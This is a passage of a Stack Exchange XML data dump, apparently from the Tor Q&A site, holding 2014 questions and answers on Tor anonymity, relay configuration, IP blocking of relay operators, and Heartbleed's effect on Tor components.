  <row Id="1859" PostTypeId="2" ParentId="1858" CreationDate="2014-04-02T18:04:50.670" Score="1" Body="&lt;p&gt;you should probably not be playing youtube videos on TOR. you tube uses flash, and its suggested not to use Flash websites/products as they could expose your identity/ip address.&lt;/p&gt;&#xA;" OwnerUserId="1502" LastActivityDate="2014-04-02T18:04:50.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1860" PostTypeId="1" CreationDate="2014-04-03T03:58:44.307" Score="1" ViewCount="89" Body="&lt;p&gt;What if I let some identification information (like a page with my real name) leak in a plain http connection and the exit node captures this? Until when it be able to identify me? Till I change the circuit? Will it be able to identify me if I use it again another day? Will I have to generate another public key? (or does tor does this every time I start it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, will the exit node be able to associate my identity with relay (does Tor uses different keys for my relay/hidden services?)&lt;/p&gt;&#xA;" OwnerUserId="1504" LastEditorUserId="923" LastEditDate="2014-06-24T08:27:01.990" LastActivityDate="2014-06-24T08:27:01.990" Title="What's the extent of the problem of information leaking to exit node" Tags="|onion-services|anonymity|security|relays|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1861" PostTypeId="2" ParentId="1860" CreationDate="2014-04-03T21:38:01.563" Score="2" Body="&lt;p&gt;The exit node only knows the middle node of the circuit, nothing upstream from it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create new circuits, the exit node does not know that it is from the same source (you), unless they do traffic analysis and match behavior / patterns, or you leak the same information again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if your Tor is a relay as well as a client, you are not your own entry guard node. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-04-03T21:38:01.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1862" PostTypeId="1" CreationDate="2014-04-04T08:33:21.733" Score="1" ViewCount="6356" Body="&lt;p&gt;Does my Internet Service Provider know if am browsing Porn websites, if i use Tor? because porn is illegal in my country.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2014-04-13T21:11:11.127" Title="does my ISP know if am browsing restricted websites is i use Tor" Tags="|anonymity|" AnswerCount="3" CommentCount="1" ClosedDate="2016-11-06T20:58:18.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="1865" PostTypeId="2" ParentId="1862" CreationDate="2014-04-04T16:24:47.833" Score="2" Body="&lt;p&gt;No, the ISP does not know what sites you visit using the Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt; for an interactive infographic of who can see what, and toggle the infographic's &quot;Tor&quot; button there to see the differences.&lt;/p&gt;&#xA;" OwnerUserId="1518" LastActivityDate="2014-04-04T16:24:47.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1866" PostTypeId="1" CreationDate="2014-04-04T18:50:12.817" Score="7" ViewCount="254" Body="&lt;p&gt;My Tor log shows this entry. What does this mean?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Apr 04 16:08:07.000 [warn] Rejecting INTRODUCE1 on non-OR or non-edge circuit 7503.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="355" LastEditorUserId="88" LastEditDate="2014-04-30T10:47:16.247" LastActivityDate="2014-06-03T13:55:11.430" Title="What is this warning in the Tor log?" Tags="|security|exit-relays|log|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1867" PostTypeId="1" AcceptedAnswerId="2021" CreationDate="2014-04-04T18:59:15.083" Score="4" ViewCount="209" Body="&lt;p&gt;The &lt;a href=&quot;http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf&quot; rel=&quot;nofollow&quot;&gt;original paper&lt;/a&gt; describing Tor says this on section 4:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each onion router maintains a TLS connection to every other onion router.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That paper is from 2004, when there was a much smaller number of relays on the network. &lt;a href=&quot;https://metrics.torproject.org/network.html&quot; rel=&quot;nofollow&quot;&gt;Now there are more than 5000&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it still 100% true that relays form a complete graph at all times?&lt;/li&gt;&#xA;&lt;li&gt;Wouldn't that number of simultaneous connections exceed some OS limit on number of open sockets or something like that? &lt;/li&gt;&#xA;&lt;li&gt;Does it impose a performance penalty on relays? &lt;/li&gt;&#xA;&lt;li&gt;Is there any privacy consideration that requires those connections to exist at all times?&lt;/li&gt;&#xA;&lt;li&gt;What kind of messages do those relays exchange when they're not part of the same circuit?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="736" LastEditorUserId="-1" LastEditDate="2014-04-30T20:51:18.813" LastActivityDate="2014-04-30T20:51:18.813" Title="Is it still true that each onion relay keeps an open TLS connection to every other relay? Why?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1868" PostTypeId="1" AcceptedAnswerId="2055" CreationDate="2014-04-04T21:25:51.067" Score="3" ViewCount="304" Body="&lt;p&gt;Would increasing the number of introduction points help distribute the load among more relays? Would it have any security implications?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be a limit on the number of introduction points a hidden service can choose, so it seems viable to increase it, I'm just not sure if it'd be any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[The &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=rend-spec.txt&quot; rel=&quot;nofollow&quot;&gt;specification&lt;/a&gt; is vague about how many introduction points a hidden service can have (&quot;a small number&quot;, &quot;arbitrary&quot;), which I'm assuming leaves it to the implementation.]&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2014-05-05T14:38:45.677" Title="Does increasing the number of introduction points for a hidden service help with its scalability?" Tags="|onion-services|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1869" PostTypeId="1" CreationDate="2014-04-04T23:17:47.033" Score="2" ViewCount="560" Body="&lt;p&gt;The import options had one choice, IE. I was using Firefox and would like to import those. &lt;/p&gt;&#xA;" OwnerUserId="1519" LastActivityDate="2017-05-31T04:11:43.977" Title="Is there any easy way to import bookmarks from firefox?" Tags="|firefox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1870" PostTypeId="1" CreationDate="2014-04-05T00:43:15.107" Score="0" ViewCount="258" Body="&lt;p&gt;How can I use Tor on Firefox OS? Is there anything like Orbot or a browser bundle for Firefox OS based phones?&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2015-09-30T07:55:53.433" Title="Tor on Firefox OS" Tags="|mobile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1872" PostTypeId="2" ParentId="1837" CreationDate="2014-04-05T14:11:46.613" Score="1" Body="&lt;p&gt;If you're trying to disguise as an exit-node, to post to some blog or whatsoever it's alright.&#xA;If you're logging into Facebook, Google, or anything that is linked to you.   Bad idea, and isn't safe.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2014-04-05T14:11:46.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1873" PostTypeId="2" ParentId="1758" CreationDate="2014-04-05T14:16:03.917" Score="0" Body="&lt;p&gt;You more than likely opened Tor Browser Bundle (TBB) twice.   Close Tor, and reopen it.  That should solve the issue.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2014-04-05T14:16:03.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1874" PostTypeId="2" ParentId="1762" CreationDate="2014-04-05T14:19:15.043" Score="0" Body="&lt;p&gt;Google by default blocks connections from different areas, sure as if I logged in China (not my homeland) Google would require me to verify with my phone number or e-mail backup address.&#xA;This feature cannot be disabled, and it's for the safety of your account.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2014-04-05T14:19:15.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1876" PostTypeId="2" ParentId="1212" CreationDate="2014-04-05T14:24:59.497" Score="1" Body="&lt;p&gt;I don't believe TBB allows you to hide this feature.   You may update, and it'll stop displaying the update now (this will also increase security).&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2014-04-05T14:24:59.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1877" PostTypeId="2" ParentId="1707" CreationDate="2014-04-05T14:31:20.590" Score="1" Body="&lt;p&gt;Try typing into Google, &quot;What is my ip?&quot; if it displays your real IP than your question is answered.  You may also want to clear all Cookies on  Mozzila FireFox, that may patch this issue.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2014-04-05T14:31:20.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1878" PostTypeId="2" ParentId="1057" CreationDate="2014-04-05T14:42:37.987" Score="1" Body="&lt;p&gt;37.130.227.133 seems to be a Tor Node, I'm unsure if McAfee flagged that IP as a spammer IP address or if it was a treat.  Try switching your identity, you may find that at the Left-hand top Connor where the onion is.  Click &quot;New identity&quot;&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2014-04-05T14:42:37.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1879" PostTypeId="2" ParentId="718" CreationDate="2014-04-05T20:18:09.497" Score="8" Body="&lt;p&gt;I'm the maintainer of HTTPS Everywhere, which includes SSL Observatory (off by default though). I'm not sure where the other commenter got the idea that we're sending anything to Google; we don't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you enable SSL Observatory, we POST a copy of the certificate chain you saw to an EFF server, along with the time, server domain, and server IP address. We don't keep logs of your IP address, but for extra anonymity, we try to send the POST request through Tor if you have Tor installed. You don't have to be running Tor browser for this to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTTPS Everywhere ships with a whitelist of common certificate chain fingerprints, so it doesn't send anything that we've seen enough times before (ex: most Google certificate chains). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it does nothing to inform you in real time whether you've been attacked. This is a feature that we're working on adding. &lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-04-05T20:18:09.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1880" PostTypeId="2" ParentId="1782" CreationDate="2014-04-06T04:34:29.063" Score="1" Body="&lt;p&gt;Peter:  Your concerns are understandable, since on the Windows platform, &quot;installer&quot; programs historically have been used to keep many kinds of mischief hidden from the user that invokes them - but in this case, it's more like a self-extracting ZIP file, and made like that for the benefit of those who wouldn't know what to do with the file otherwise.  As user1452 says, you can always use a program like 7-Zip to do the extracting for you, but if you don't trust the makers of Tor themselves to create a working copy of Tor on your system without it harming your system or leaving evidence of Tor's existence buried somewhere, then perhaps you're too paranoid to use the Internet in any form.&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2014-04-06T04:34:29.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1881" PostTypeId="2" ParentId="1066" CreationDate="2014-04-06T05:18:48.167" Score="2" Body="&lt;p&gt;The actual Tor browser bundle has an option in the plugins window to activate the &lt;a href=&quot;http://noscript.net/&quot; rel=&quot;nofollow&quot;&gt;NoScript&lt;/a&gt; plugin so you only need to restart the browser with that program.&lt;/p&gt;&#xA;" OwnerUserId="1528" LastEditorUserId="88" LastEditDate="2014-07-04T08:49:10.200" LastActivityDate="2014-07-04T08:49:10.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1882" PostTypeId="1" CreationDate="2014-04-06T16:45:59.493" Score="3" ViewCount="3522" Body="&lt;p&gt;Windows 7 has a firewall. I have tried blocking all the traffic from a box except that of Tor and Firefox (which uses Tor). It doesn't work. Does anyone have any experience with this?&lt;/p&gt;&#xA;" OwnerUserId="1529" LastEditorUserId="923" LastEditDate="2015-01-18T07:48:05.910" LastActivityDate="2016-01-13T03:43:15.650" Title="How to block all traffic except Tor on a Windows machine?" Tags="|windows|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1883" PostTypeId="1" CreationDate="2014-04-06T23:04:52.730" Score="1" ViewCount="2124" Body="&lt;p&gt;I setup a Tor relay on my home network about a week ago.  I did &lt;em&gt;not&lt;/em&gt; configure it as an exit node just as a relay.  A few days later, I discovered my &lt;a href=&quot;http://www.tdbank.com/&quot; rel=&quot;nofollow&quot;&gt;bank&lt;/a&gt; was blocking my IP address.  The message looks like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Access Denied&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You don't have permission to access &quot;&lt;a href=&quot;http://www.tdbank.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.tdbank.com/&lt;/a&gt;&quot; on this server.&#xA;  Reference #18.e12bf648.1396824964.fa6b768&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This happens from all PCs in my house, and mobile phones.  If I use a VPN connection to my work PC, I can login to my bank with no issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file /var/log/tor/notices.log&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsSuffixes .onion,.exit&#xA;AutomapHostsOnResolve 1&#xA;TransPort 9040&#xA;TransListenAddress 192.168.xx.1&#xA;DNSPort 53&#xA;DNSListenAddress 192.168.xx.1&#xA;&#xA;Nickname xxxxx&#xA;ORPort 9001 # port forward&#xA;DirPort 9030 # port forward&#xA;RelayBandwidthRate 20 KB&#xA;RelayBandwidthBurst 40 KB&#xA;ContactInfo xxxx &amp;lt;xxxx&amp;gt;&#xA;ExitPolicy reject *:*&#xA;DisableDebuggerAttachment 0&#xA;ControlPort 9051&#xA;CookieAuthentication 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have xxx'd out my local addresses, nickname, and contact info, but every thing else is the way it is in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've turned off the relaying for now, and I just have it setup as a proxy.  I'm waiting for them to unblock me (hopefully).  Is this a common problem?  I was under the impression that if I set it up as only a relay and not an exit node, then I'd have practically no problems.  I'm surprised any company would block IPs based simply on that IP being an internal relay node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way I can avoid this?&lt;/p&gt;&#xA;" OwnerUserId="1533" LastEditorUserId="923" LastEditDate="2014-06-24T08:26:20.767" LastActivityDate="2017-06-28T12:57:02.173" Title="What can you do about companies that block you because you're a relay?" Tags="|relays|configuration|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1884" PostTypeId="2" ParentId="1883" CreationDate="2014-04-07T11:56:52.630" Score="4" Body="&lt;p&gt;See, here &lt;a href=&quot;http://torstatus.blutmagie.de&quot; rel=&quot;nofollow&quot;&gt;http://torstatus.blutmagie.de&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or by install Tor client, anybody can get a full Tor network status.&#xA;There is main difference, relay is  Exit or Not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Network very dynamic.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /var/lib/tor/cached-descriptors.new | grep -i fingerprint | wc &#xA;1136 6109 38659 &#xA;&#xA;# cat /var/lib/tor/cached-descriptors | grep -i fingerprint | wc&#xA;13596 154889 864624&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the real, there are up to &lt;strong&gt;5,000&lt;/strong&gt; relays, only &lt;strong&gt;1,000&lt;/strong&gt; exits. My client see only &lt;strong&gt;1,136&lt;/strong&gt;. But it keeps information about &lt;strong&gt;13,596&lt;/strong&gt; relays. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably, www.tdbank.com blacklist current &lt;strong&gt;5,000&lt;/strong&gt; up relays. It is ordinary situation for services that keep care about security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your should contact with support of your bank by e-mail or phone. They could add your IP address to the whitelist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the best case, you can try to describe the difference between Exit and just relay.&lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2014-04-07T11:56:52.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1885" PostTypeId="2" ParentId="1837" CreationDate="2014-04-07T15:48:11.557" Score="0" Body="&lt;p&gt;This depends on your threat model and your intended use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your intended use is to post to the same site every day, and you are doing from your computer which is also being used as an exit node. Then every day the site owner would know that someone is connecting from your computer and posting every day. The chances of this being someone connecting over tor and by random chance always connecting to your exit node, are very slim, so they would easily know it is you. &#xA;- not safe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your intended use is to make a single post and never go back, then they would see it is from your computer, and you would have plausible deniability as you could say it came from someone over tor. But if instead you just used to to make the post, then you wouldn't even need plausible deniability as it wouldn't be linked to your computer at all. &#xA;- less safe&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2014-04-07T15:48:11.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1886" PostTypeId="2" ParentId="1858" CreationDate="2014-04-07T15:53:23.770" Score="0" Body="&lt;p&gt;I can't make comments yet, and this isn't exactly an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tbb supports html5, and many youtube videos can be played in html5 (allegedly)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/html5?gl=GB&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/html5?gl=GB&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you may not even need flash&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2014-04-07T15:53:23.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1887" PostTypeId="1" AcceptedAnswerId="1888" CreationDate="2014-04-08T15:20:59.953" Score="2" ViewCount="149" Body="&lt;p&gt;I've been reading about the &lt;a href=&quot;http://heartbleed.com/&quot; rel=&quot;nofollow&quot;&gt;'Heartbleed' SSL/TLS bug&lt;/a&gt; (CVE-2014-0160) and it is alarming. Are my communications still secure? Are there any steps I should do to protect my security?&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-04-09T21:57:08.843" Title="As a Tor Browser Bundle user, how concerned should I be about the heartbleed SSL vulnerability?" Tags="|tor-browser-bundle|tls|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1888" PostTypeId="2" ParentId="1887" CreationDate="2014-04-08T15:23:00.140" Score="2" Body="&lt;p&gt;Found the &lt;a href=&quot;https://blog.torproject.org/blog/openssl-bug-cve-2014-0160&quot; rel=&quot;nofollow&quot;&gt;answer&lt;/a&gt; in the official Tor Blog. &#xA;From the article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;em&gt;Tor Browser shouldn't be affected, since it uses libnss rather than openssl. But Tor clients could possibly be induced to send sensitive information like &quot;what sites you visited in this session&quot; to your entry guards. If you're using TBB we'll have new bundles out shortly; if you're using your operating system's Tor package you should get a new OpenSSL package and then be sure to manually restart your Tor.&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that this bug transparently forced a leak of &lt;em&gt;server&lt;/em&gt; memory. This means that any data stored by the server (e.g. your password on said server) is likely compromised. Also, during the time the Heartbleed vulnerability exists on a server it is sometimes possible to obtain the data necessary for SSL certificate forgery - so even a presumed secure (i.e. using https) connection could actually be with a malicious third party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a previously affected server has been secured then each user should reset their password for that site.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-04-09T21:57:08.843" LastActivityDate="2014-04-09T21:57:08.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1890" PostTypeId="2" ParentId="1887" CreationDate="2014-04-09T13:27:42.583" Score="2" Body="&lt;p&gt;The problem is very serious. One should not underestimate the potential security risk of this problem. The heartbleed SSL bug was there since December of 2011 till April 7 2014. Even now it is not practical to update everything at once. Please note that Tor people carefully state that these are their first thoughts. It will take a long time to fully understand the ramification of this problem. Also please note that Tor is a system containing many parts. It include the Clients, the relays and bridges, Directory authorities, Hidden services, and others. The weakest link in the system will cause problem for the whole system. Until the full ramification of this problem is known one should be very carefull.&#xA;Below, please find the initial statement by Tor people:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are our first thoughts on what Tor components are affected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Clients: The browser part of Tor Browser shouldn't be affected, since it uses libnss rather than openssl. But the Tor client part is: Tor clients could possibly be induced to send sensitive information like &quot;what sites you visited in this session&quot; to your entry guards. If you're using TBB we'll have new bundles out shortly; if you're using your operating system's Tor package you should get a new OpenSSL package and then be sure to manually restart your Tor.&#xA;Relays and bridges: Tor relays and bridges could maybe be made to leak their medium-term onion keys (rotated once a week), or their long-term relay identity keys. An attacker who has your relay identity key can publish a new relay descriptor indicating that you're at a new location (not a particularly useful attack). An attacker who has your relay identity key, has your onion key, and can intercept traffic flows to your IP address can impersonate your relay (but remember that Tor's multi-hop design means that attacking just one relay in the client's path is not very useful). In any case, best practice would be to update your OpenSSL package, discard all the files in keys/ in your DataDirectory, and restart your Tor to generate new keys. (You will need to update your MyFamily torrc lines if you run multiple relays.)&#xA;Hidden services: Tor hidden services might leak their long-term hidden service identity keys to their guard relays. Like the last big OpenSSL bug, this shouldn't allow an attacker to identify the location of the hidden service, but an attacker who knows the hidden service identity key can impersonate the hidden service. Best practice would be to move to a new hidden-service address at your convenience.&#xA;Directory authorities: In addition to the keys listed in the &quot;relays and bridges&quot; section above, Tor directory authorities might leak their medium-term authority signing keys. Once you've updated your OpenSSL package, you should generate a new signing key. Long-term directory authority identity keys are offline so should not be affected (whew). More tricky is that clients have your relay identity key hard-coded, so please don't rotate that yet. We'll see how this unfolds and try to think of a good solution there.&#xA;Tails is still tracking Debian oldstable, so it should not be affected by this bug.&#xA;Orbot looks vulnerable; they have some new packages available for testing.&#xA;The webservers in the https://www.torproject.org/ rotation needed (and got) upgrades. Maybe we'll need to throw away our torproject SSL web cert and get a new one too&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-04-09T13:27:42.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1891" PostTypeId="1" CreationDate="2014-04-09T18:07:02.130" Score="3" ViewCount="3833" Body="&lt;p&gt;How can I disable the patch and limit its influence? In older TBB builds this patch could be removed pretty easy. Is there still an easy way?&#xA;The difficult way seems to revert these changes: &lt;a href=&quot;https://gitweb.torproject.org/torbrowser.git/blob/master:/src/current-patches/firefox/0019-Add-canvas-image-extraction-prompt.patch&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torbrowser.git/blob/master:/src/current-patches/firefox/0019-Add-canvas-image-extraction-prompt.patch&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or at least, can I allow any website I visit, without having the pop-up/to click each time?&#xA;I already checked about:config. Sadly, there does not seem to be an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1544" LastActivityDate="2019-02-19T20:03:39.707" Title="How to Remove/Disable/Always Accept HTML5 Canvas Image?" Tags="|tor-browser-bundle|source-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1892" PostTypeId="1" CreationDate="2014-04-09T19:03:56.327" Score="2" ViewCount="155" Body="&lt;p&gt;Today I have installed Tor on my Raspberry Pi and also set it up as a relay. I can monitor tor traffic using arm so it means it is working. My &lt;code&gt;SocksPort&lt;/code&gt; configuration is  9050, 192.168.1.187:9050 where 192.168.1.187 is internal IP of my Raspberry Pi.&#xA;In order to anonymize my browsing traffic on my main windows PC, I configured Firefox to use my Raspberry Pi as proxy on port 9050. When I visit the page &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt;, it says my configuration is successful and I see different IP address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that point I assume everything should work properly but if I try to browse web sites that are blocked in my country such as YouTube it just does not connect. However if I use VPN I can see those blocked web sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So could anyone please tell me what is wrong with my configuration? I'm really confused.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastEditorUserId="88" LastEditDate="2014-04-10T20:56:49.283" LastActivityDate="2014-09-23T06:42:41.303" Title="Strange Problem Browsing Blocked Websites‏" Tags="|configuration|vpn|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1893" PostTypeId="1" CreationDate="2014-04-09T22:33:33.933" Score="7" ViewCount="170472" Body="&lt;p&gt;How can I use Tor browser on my iphone that is not jail broken?&lt;/p&gt;&#xA;" OwnerUserId="1546" LastEditorUserId="923" LastEditDate="2014-06-24T08:26:34.343" LastActivityDate="2016-07-27T09:11:52.203" Title="How can I use Tor browser on my iphone without jail breaking it?" Tags="|tor-browser-bundle|ios|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1894" PostTypeId="1" CreationDate="2014-04-10T00:40:56.360" Score="1" ViewCount="573" Body="&lt;p&gt;I'm interested in keeping all of my add-ons I install on Iceweasel to stay there for the next time I boot up Tails OS. I've tried Firefox sync but all it does is upload and will not restore to the Iceweasel instance. Is there any way to enable me to keep addons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disable wiping of certain folder&lt;/li&gt;&#xA;&lt;li&gt;Install iceweasel in persistence drive&lt;/li&gt;&#xA;&lt;li&gt;Anything else?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1548" LastEditorUserId="923" LastEditDate="2014-06-24T08:25:27.587" LastActivityDate="2014-06-24T08:25:27.587" Title="Install Iceweasel in Persistence (?)" Tags="|tails|firefox|persistent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1895" PostTypeId="1" CreationDate="2014-04-10T02:10:43.140" Score="2" ViewCount="146" Body="&lt;p&gt;I've built a tor (2.4.19) test environment. Clients build circuits and all seems to function properly. However, I noticed that while my entry and relay nodes communicate with the directory server using a one hop circuit (encrypted), the exit node appears to communicate directly to the dir port on the directory server. When communicating directly to the dir port using http. You are able to see, in the clear, enough information to enumerate my tor test environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the nodes are built within a Xen hypervisor, TestingTorNetwork set to 1 on all nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sort of crazy, but when I remove the &quot;accept&quot; policy on the exit and leave the &quot;deny &lt;em&gt;:&lt;/em&gt;&quot; statement, it appears that one hop circuit is then used by the exit server to communicate with the directory server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;Since the initial submission of this issue I have done some further isolation based on Jen's observation. It appears that when there is an exit policy that &quot;accepts&quot; anything, even the default accept policy, I see a &quot;use_begindir 0&quot; in the log file. shown at the end of the line here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Apr 30 13:43:28.000 [debug] void directory_initiate_command_rend(const char *, const tor_addr_t *, uint16_t, uint16_t, const char *, uint8_t, uint8_t, dir_indirection_t, const char *, const char *, size_t, time_t, const rend_data_t *)(): anonymized 0, use_begindir 0.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I have an exit policy that &quot;rejects&quot; everything, I see a &quot;use begindir 1&quot; in the log file. shown at the end of the line here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Apr 30 13:43:42.000 [debug] void directory_initiate_command_rend(const char *, const tor_addr_t *, uint16_t, uint16_t, const char *, uint8_t, uint8_t, dir_indirection_t, const char *, const char *, size_t, time_t, const rend_data_t *)(): anonymized 0, use_begindir 1.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I see &quot;use_begindir 0&quot; the node connects to the directory unencrypted.&#xA;When I see &quot;use_begindir 1&quot; the node connects to the directory encrypted using the one-hop circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Jens suggested, this seems similar to the behavior discussed in Trac Ticket 10849. I applied the patch referred to in ticket 10849 but that did resolve this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like it would be a big deal... If I'm not the only one seeing this. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1549" LastEditorUserId="1549" LastEditDate="2014-04-30T18:30:19.837" LastActivityDate="2014-04-30T18:30:19.837" Title="Exit node to Directory Server not using one hop circuit" Tags="|exit-relays|directory|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
